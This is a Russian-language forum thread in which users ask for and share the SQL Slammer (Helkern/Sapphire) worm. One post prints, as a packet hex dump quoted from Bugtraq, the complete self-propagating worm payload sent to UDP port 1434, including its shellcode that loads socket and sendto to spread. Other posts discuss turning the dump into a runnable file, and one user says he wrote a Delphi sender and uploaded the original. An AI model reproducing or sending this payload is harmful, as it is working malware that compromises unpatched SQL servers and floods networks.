Worm.SQL.Helkern (aka Slammer, aka Sapphire)

Pianoer

У кого-нибудь есть этот недавно появившийся "страшный и ужасный" вирус?
P.S. Нужен НЕ для корыстных целей...

zsn66


20:56:02.115087 X.X.X.X.4178 > X.X.X.X.1434:  [udp sum ok] udp 376 (ttl 109,

id 46811)

  0000: 4500 0194 b6db 0000 6d11 2e2d 89e5 0a9c  E...?..m..-.?.. 

  0010: cb08 07c7 1052 059a 0180 bda8 0401 0101  ?..?.R....?....

  0020: 0101 0101 0101 0101 0101 0101 0101 0101  ................

  0030: 0101 0101 0101 0101 0101 0101 0101 0101  ................

  0040: 0101 0101 0101 0101 0101 0101 0101 0101  ................

  0050: 0101 0101 0101 0101 0101 0101 0101 0101  ................

  0060: 0101 0101 0101 0101 0101 0101 0101 0101  ................

  0070: 0101 0101 0101 0101 0101 0101 01dc c9b0  .............?

  0080: 42eb 0e01 0101 0101 0101 70ae 4201 70ae  B?........p?B.p?

  0090: 4290 9090 9090 9090 9068 dcc9 b042 b801  B........h?B?.

  00a0: 0101 0131 c9b1 1850 e2fd 3501 0101 0550  ...1?.P?5....P

  00b0: 89e5 5168 2e64 6c6c 6865 6c33 3268 6b65  .?Qh.dllhel32hke

  00c0: 726e 5168 6f75 6e74 6869 636b 4368 4765  rnQhounthickChGe

  00d0: 7454 66b9 6c6c 5168 3332 2e64 6877 7332  tTf?llQh32.dhws2

  00e0: 5f66 b965 7451 6873 6f63 6b66 b974 6f51  _f?etQhsockf?toQ

  00f0: 6873 656e 64be 1810 ae42 8d45 d450 ff16  hsend?..?B.E?P?.

  0100: 508d 45e0 508d 45f0 50ff 1650 be10 10ae  P.E?P.E?P?.P?..?

  0110: 428b 1e8b 033d 558b ec51 7405 be1c 10ae  B....=U.?Qt.?..?

  0120: 42ff 16ff d031 c951 5150 81f1 0301 049b  B?.?1?QQP.?....

  0130: 81f1 0101 0101 518d 45cc 508b 45c0 50ff  .?....Q.E?P.E?P?

  0140: 166a 116a 026a 02ff d050 8d45 c450 8b45  .j.j.j.?P.E?P.E

  0150: c050 ff16 89c6 09db 81f3 3c61 d9ff 8b45  ?P?..?.?.?<a?.E

  0160: b48d 0c40 8d14 88c1 e204 01c2 c1e2 0829  ?..@...?..?.)

  0170: c28d 0490 01d8 8945 b46a 108d 45b0 5031  ?....?.E?j..EP1

  0180: c951 6681 f178 0151 8d45 0350 8b45 ac50  ?Qf.?x.Q.E.P.E?P

  0190: ffd6 ebca                                ?

Pianoer

А можно оригинал залить в ?

zsn66

Какой ещё оригинал? Вот он целиком. Ещё было в инете в дизассемблированном и откомментированном виде, можешь поискать.

ol4a21

А дамп этот сам делал? Или это цитирование?

zsn66

Не, сам я всё проспал

Из bugtraq это.

ol4a21

Дай точный линк, плиз
А то интересно прям стало

zsn66

http://www.google.com.ru/search?q="0101+0131+c9b1+1850+e2fd+3501+0101+0550"
бля, учит вас 4.71, учит гуглом пользоваться...

Pianoer

Ну это же com-файл, насколько я понимаю? Вот я и прошу этот самый файл мне закачать, ибо не знаю, как его получить из того, что выше.
Мне нужен именно откомпиленный вирус...

zsn66

Ты уж извини, но никакой файл тебе пользы не принесёт...

Pianoer

А, значит исходного файла нет
тогда может подскажите, как его проще всего получить из дампа?

ol4a21

>бля, учит вас 4.71, учит гуглом пользоваться...
не напрягайся
я им умею пользоваться, хотя и не так хорошо, как хотелось бы
заломался бы ответить - пошел бы сам искать
P.S. Хотя я не никогда не пойму, зачем посылать в поиск, когда проще конкретную ссылку дать

zsn66

Куда ссылку? На мой мейлбокс? Так туда без пароля не пустят.

ol4a21

Маза пароль тоже можно сказать

SuhovIV

Смотря что понимать под пользой

SuhovIV

Нашел-таки оригинал этого вируса. Выложил в кому интересно.

Filan

> Вот я и прошу этот самый файл мне закачать, ибо не знаю, как его получить из того, что выше.
Тебе запостить исходник на сях делающий это? Или лучше на shell-е? LOL!

bobking

> LOL!

Маза тяжело кататься по полу с такой рожей.

bobking

Бля, перепутал с ROFL. Но сути дела это не меняет.

Filan

А ты напряги воображение.

SuhovIV

Тебе запостить исходник на сях делающий это? Или лучше на shell-е?

Да сам уже написал, просто ломало...

zsn66

> Тебе запостить исходник на сях делающий это? Или лучше на shell-е?
Тогда уж на VB - это же для виндов червь.

ol4a21

>Да сам уже написал, просто ломало...
На сях или на шелле? Или всё-таки на VB?

SuhovIV

хуже - на дельфи

ol4a21

Покажь?

SuhovIV

ol4a21

Никто на копирайты не покушаеца
А посмотреть интересно

bobking

> copyright protected
Маза ты уже реинжиниринг сделал.

SuhovIV

Я хелп не написал, а без него там все равно не разберешься

Оставить комментарий